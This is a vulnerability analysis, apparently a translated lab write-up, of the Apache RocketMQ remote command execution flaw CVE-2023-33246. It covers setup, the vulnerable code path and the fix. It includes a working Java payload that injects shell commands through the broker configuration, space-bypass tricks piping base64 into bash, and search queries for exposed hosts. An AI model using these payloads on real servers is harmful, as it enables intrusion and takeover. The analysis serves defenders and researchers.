Исходный документ | Анализ уязвимости удаленного выполнения кода Apache RocketMQ (CVE-2023-33246)
Исходный документ | Анализ уязвимости удаленного выполнения кода Apache RocketMQ (CVE-2023-33246)
Автор: Лаборатория Sunflower@Know Chuangyu 404 Дата: 8 июня 2023 г.

1. Знакомство с уязвимостью

Ссылки

Apache RocketMQ имеет уязвимость удаленного выполнения команд (CVE-2023-33246). NameServer, Broker, Controller и другие компоненты RocketMQ доступны из Интернета и не имеют проверки разрешений. Злоумышленник может воспользоваться этой уязвимостью, чтобы использовать функцию обновления конфигурации для выполнения команд от имени пользователя системы, запускающего RocketMQ.

2. Уязвимая версия

Ссылки

5.0.0 <= Apache RocketMQ < 5.1.1

4.0.0 <= Apache RocketMQ < 4.9.6

3. Настройка среды

Ссылки

Используйте Docker для извлечения уязвимой среды

Язык кода:javascript
копировать
docker pull apache/rocketmq:4.9.5

Запустите команду docker run, чтобы создать среду докеров.

Язык кода:javascript
копировать
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.5 sh mqnamesrv
Язык кода:javascript
копировать
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.5 sh mqbroker -c /home/rocketmq/rocketmq-4.9.5/conf/broker.conf

Docker ps проверяет, что докер запускается нормально

3.1 Загрузка исходного кода

https://dist.apache.org/repos/dist/release/rocketmq/4.9.5/rocketmq-all-4.9.5-source-release.zip

4. Введение в RocketMQ

Ссылки

Обычно мы используем какое-нибудь программное обеспечение для спортивных новостей и подписываемся на некоторые из наших любимых разделов команд. Когда автор публикует статью в соответствующем разделе, мы можем получать соответствующие новости.

Публикация-подписка (Pub/Sub) — это парадигма обмена сообщениями, в которой отправитель сообщения (называемый издателем, производителем, производителем) отправляет сообщение непосредственно конкретному получателю (называемому подписчиком, потребителем, потребителем). Базовая модель сообщений RocketMQ — это простая модель Pub/Sub [1].

4.1 Модель развертывания RocketMQ

Как производители и потребители находят адреса темы и брокера? Как осуществляется конкретная отправка и получение сообщений?

4.2 Сервер имен NameServer

NameServer — это простой центр регистрации маршрутизации тем, который поддерживает динамическую регистрацию и обнаружение тем и брокеров.

В основном включает в себя две функции:

  • Brokerуправлять,NameServer принимает регистрационную информацию кластера Broker и сохраняет ее как основные данные маршрутизации. Затем обеспечьте механизм обнаружения сердцебиения,Проверить, жив ли Брокер;
  • маршрутизацияинформацияуправлять,Каждый NameServer сохранит всю информацию о маршрутизации кластера Broker и информацию об очереди для клиентских запросов. Производитель и Потребитель могут узнать информацию о маршрутизации всего кластера Broker через NameServer.,Для доставки и потребления сообщений.
4.3 Прокси-сервер Брокер

Брокер в основном отвечает за хранение, доставку и запрос сообщений, а также за гарантию высокой доступности сервиса.

NameServer практически не имеет узлов состояния, поэтому его можно развернуть в кластере без какой-либо синхронизации информации между узлами. Развертывание брокера является относительно сложным.

В архитектуре Master-Slave брокер разделен на Master и Slave. Один Мастер может соответствовать нескольким Слейвам, но один Слейв может соответствовать только одному Мастеру. Соответствующие отношения между главным и подчиненным определяются путем указания одного и того же BrokerName и разных BrokerId, значение которого равно 0, что означает главное, а значение, отличное от 0, означает подчиненное. Мастер также может развернуть несколько.

4.4 Отправка и получение сообщений

Прежде чем отправлять и получать сообщения, нам нужно сообщить клиенту адрес NameServer. У RocketMQ есть много способов установить адрес NameServer в клиенте. Вот три примера: высокий приоритет переопределяет низкий приоритет. .

  • Укажите адрес сервера имен в коде и разделите несколько адресов namesrv точками с запятой.
Язык кода:javascript
копировать
producer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876");  
consumer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876");
  • Укажите адрес сервера имен в параметрах запуска Java.
Язык кода:javascript
копировать
-Drocketmq.namesrv.addr=192.168.0.1:9876;192.168.0.2:9876
  • Переменная среды указывает адрес сервера имен.
Язык кода:javascript
копировать
export NAMESRV_ADDR=192.168.0.1:9876;192.168.0.2:9876
4.5 Знакомство с классами, в основном задействованными в уязвимости
4.5.1 DefaultMQAdminExt

DefaultMQAdminExt — это класс расширения, предоставляемый RocketMQ. Он предоставляет некоторые инструменты и методы для управления и эксплуатации RocketMQ, которые можно использовать для управления темами, группами потребителей, отношениями подписок и т. д.

Класс DefaultMQAdminExt предоставляет некоторые часто используемые методы, включая создание и удаление тем, запрос информации о теме, запрос информации о группах потребителей, обновление отношений подписки и т. д. Он может получать и изменять соответствующую информацию о конфигурации путем взаимодействия с NameServer и предоставляет функции управления для RocketMQ.

Например, DefaultMQAdminExt обновляет конфигурацию брокера (обновленный файл конфигурации —broker.conf):

Язык кода:javascript
копировать
public void updateBrokerConfig(String brokerAddr,
    Properties properties) throws RemotingConnectException, RemotingSendRequestException,
    RemotingTimeoutException, UnsupportedEncodingException, InterruptedException, MQBrokerException {
    defaultMQAdminExtImpl.updateBrokerConfig(brokerAddr, properties);
}
4.5.2 FilterServerManager

существовать Apache RocketMQ середина,FilterServerManager Класс используется для управления серверами фильтров (Filter Сервер) класс. Сервер фильтров RocketMQ Компонент в , используемый для поддержки функции фильтрации сообщений. Сервер фильтрации отвечает за регистрацию, обновление и удаление правил фильтрации сообщений, а также за оценку и сопоставление фильтрации сообщений.

5. Анализ уязвимостей

Ссылки

Все модули Filter Server удалены напрямую из файла патча [2], поэтому мы можем посмотреть непосредственно на FilterServerManager и кратко проанализировать процесс вызова FilterServerManager:

существоватьBrokerВыполнить при запускеsh mqbroker...,Вызов класса BrokerStartup:

существования Продолжайте вызывать метод start() в BrokerController в этом классе.

продолжать следить за

Наконец, мы добираемся до класса FilterServerManager, где FilterServerUtil.callShell() хранит команду существования;

Язык кода:javascript
копировать
public void start() {

    this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
        @Override
        public void run() {
            try {
                FilterServerManager.this.createFilterServer();
            } catch (Exception e) {
                log.error("", e);
            }
        }
    }, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}

public void createFilterServer() {
    int more =
        this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
    String cmd = this.buildStartCommand();
    for (int i = 0; i < more; i++) {
        FilterServerUtil.callShell(cmd, log);
    }
}

private String buildStartCommand() {
    String config = "";
    if (BrokerStartup.configFile != null) {
        config = String.format("-c %s", BrokerStartup.configFile);
    }

    if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
        config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr());
    }

    if (RemotingUtil.isWindowsPlatform()) {
        return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
            this.brokerController.getBrokerConfig().getRocketmqHome(),
            config);
    } else {
        return String.format("sh %s/bin/startfsrv.sh %s",
            this.brokerController.getBrokerConfig().getRocketmqHome(),
            config);
    }
}

Согласно внутренней части метода start(), метод createFilterServer будет вызываться каждые 30 секунд.

Язык кода:javascript
копировать
public void start() {
    this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
        @Override
        public void run() {
            try {
                FilterServerManager.this.createFilterServer();
            } catch (Exception e) {
                log.error("", e);
            }
        }
    }, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}

На этом этапе очевидно, что нам нужно только управлять BrokerConfig для объединения команд и ждать запуска createFilterServer для запуска RCE.

Однако есть две проблемы, которые необходимо решить, чтобы успешно запустить выполнение команды:

1. В существующем методе createFilterServer значение more должно быть больше 0, чтобы вызвать метод callShell.

Язык кода:javascript
копировать
public void createFilterServer() {
    int more =
        this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
    String cmd = this.buildStartCommand();
    for (int i = 0; i < more; i++) {
        FilterServerUtil.callShell(cmd, log);
    }
}

Здесь вам нужно только установить значение filterServerNums через DefaultMQAdminExt, что примерно так:

Язык кода:javascript
копировать
Properties properties = new Properties();
properties.setProperty("filterServerNums","1");
...
DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt();
...
defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911", props);
...

2. Когда метод callshell передает команду, ShellString будет разделен на массив cmdArray с использованием пробелов с помощью метода SplitShellString.

Язык кода:javascript
копировать
public static void callShell(final String shellString, final InternalLogger log) {
    Process process = null;
    try {
        String[] cmdArray = splitShellString(shellString);
        process = Runtime.getRuntime().exec(cmdArray);
        process.waitFor();
        log.info("CallShell: <{}> OK", shellString);
    } catch (Throwable e) {
        log.error("CallShell: readLine IOException, {}", shellString, e);
    } finally {
        if (null != process)
            process.destroy();
    }
}

Это значит, что если во входящей команде есть пробелы,будет демонтирован разделен на массив,Массив существуетexec будет отмечать конец каждой команды как начало следующей команды [3].

sh {Управляемый}/bin/startfsrv.sh ...,Если передано-c curl 127.0.0.1;

ТакcomArrayдля['sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...']

Конец каждой команды здесь используется как начало следующей команды. Он рассматривает каждую входящую команду как единое целое. Я не могу придумать более подходящего примера. Для облегчения понимания можно использовать одинарные кавычки.

'sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...'

Очевидно, что curl 127.0.0.1 разделен на две части из-за использования пробелов. Правильный способ написания:

'sh' '-c' 'curl 127.0.0.1' ';' '/bin/startfsrv.sh' '...'

Но использование пробелов приведет к разделению,Итак, проблема теперь в том, как избежать использования пробелов для полной передачи параметров.,Решение опубликовано в Интернете [4]:

-c $@|sh . echo curl 127.0.0.1;

@Как специальная переменная, она представляет все параметры, передаваемые в скрипт или команду, и напрямую передает значение после echo в целом.@,Исправлена ​​проблема с разделением команд.

Спасибо longofo@knowchuangyu404 Lab за то, что помогли мне изучить второй метод обхода:

Кстати,Основная точка этого обхода существует здесь, если вы не используете bash.,Вы не можете успешно использовать ${IFS} и {} для обхода ограничений пространства.,Я не буду здесь вдаваться в подробности.,Заинтересованные мастера могут попробовать:

Язык кода:javascript
копировать
-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";
5.1 Структура полезной нагрузки

Основываясь на вышеизложенных знаниях, окончательная построенная полезная нагрузка выглядит следующим образом:

Язык кода:javascript
копировать
Properties properties = new Properties();
properties.setProperty("filterServerNums","1");
properties.setProperty("rocketmqHome","-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";");
DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt();
defaultMQAdminExt.setNamesrvAddr("localhost:9876");
defaultMQAdminExt.start();
defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911", properties);
defaultMQAdminExt.shutdown();
5.2 Проверка уязвимостей

использоватьpayloadруководитьcurl dnslog,Запрос принимается каждые 30 секунд или около того:

5.3 Исправления ошибок

Фильтр серверный модуль напрямую удален в ремонтных версиях 4.9.6 и 5.1.1.

5.4 Статистика по сфере влияния

Используйте Zoomeye[5] для поиска и получения результатов по 34348 IP:

https://www.zoomeye.org/searchResult?q=service%3A%22RocketMQ%22

Используйте Zoomeye для поиска по количеству атакованных целей и получите результаты 6011 IP:

https://www.zoomeye.org/searchResult?q=service%3A%22RocketMQ%22%2B%22rocketmqHome%3D-c%20%24%40%7Csh%22

С помощью функции загрузки Zoomeye давайте сделаем некоторую локальную статистику по методам атак. Большинство методов здесь используют wget, Curl и другие команды для загрузки троянов и выполнения отскоковых оболочек.

6. Справочные ссылки

Ссылки

[1] https://github.com/apache/rocketmq/tree/rocketmq-all-4.5.1/docs/cn

[2] https://github.com/apache/rocketmq/commit/c469a60dcca616b077caf2867b64582795ff8bfc

[3] https://stackoverflow.com/questions/48011611/what-exactly-can-we-store-inside-of-string-array-in-process-exec

[4] https://github.com/I5N0rth/CVE-2023-33246

[5] https://www.zoomeye.org

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose